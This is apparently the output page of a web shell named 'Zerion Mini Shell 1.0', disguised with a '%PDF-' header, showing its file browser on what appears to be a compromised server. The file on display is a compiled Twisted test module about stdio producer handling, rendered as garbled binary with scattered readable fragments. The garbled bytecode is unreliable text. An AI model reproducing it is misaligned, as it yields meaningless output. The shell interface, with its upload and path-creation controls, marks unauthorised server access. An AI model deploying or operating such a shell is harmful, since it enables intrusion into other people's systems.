%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/test/__pycache__/stdio_test_producer.cpython-312.pyc

�

Ϫ�f����dZddlZddlmZmZddlmZmZGd�dej�Z	e
dk(r\ejejd�j�dd	lmZeje	��ej �yy)
z�
Main program for the child process run by
L{twisted.test.test_stdio.StandardInputOutputTests.test_producer} to test
that process transports implement IProducer properly.
�N)�protocol�stdio)�log�reflectc�,�eZdZdZdZd�Zd�Zd�Zd�Zy)�
ProducerChildF�c�v�tjd�tjdtj�y)Nz*****OVER*****�)r�msg�reactor�	callLater�stop)�self�reasons  �B/usr/lib/python3/dist-packages/twisted/test/stdio_test_producer.py�connectionLostzProducerChild.connectionLosts#����� �!����!�W�\�\�*r	c��|xj|z
c_|jrStjtj
�tjd�|jj�y|jj|�|jjd�r|jj�y|j�y)Nz$dataReceived while transport paused!s
0
)�buf�_pausedr�startLogging�sys�stderrr�	transport�loseConnection�write�endswith�pause)r�datas  r�dataReceivedzProducerChild.dataReceiveds������D����<�<����S�Z�Z�(��G�G�:�;��N�N�)�)�+��N�N� � ��&��x�x� � ��*����-�-�/��
�
�r	c��d|_|jj�tjd|j
�y)NTg{�G�z�?)rr�pauseProducingr
r�unpause�rs rrzProducerChild.pause's-��������%�%�'����$����-r	c�F�d|_|jj�y)NF)rr�resumeProducingr$s rr#zProducerChild.unpause,s��������&�&�(r	N)	�__name__�
__module__�__qualname__rrrr rr#�r	rrrs ���G�

�C�+��.�
)r	r�__main__r)r
)�__doc__r�twisted.internetrr�twisted.pythonrr�Protocolrr'�namedAny�argv�installr
�
StandardIO�runr*r	r�<module>r5sw��
��,�'�)�H�%�%�)�>�z���G���S�X�X�a�[�!�)�)�+�(��E���]�_�%��G�K�K�M�r	

Zerion Mini Shell 1.0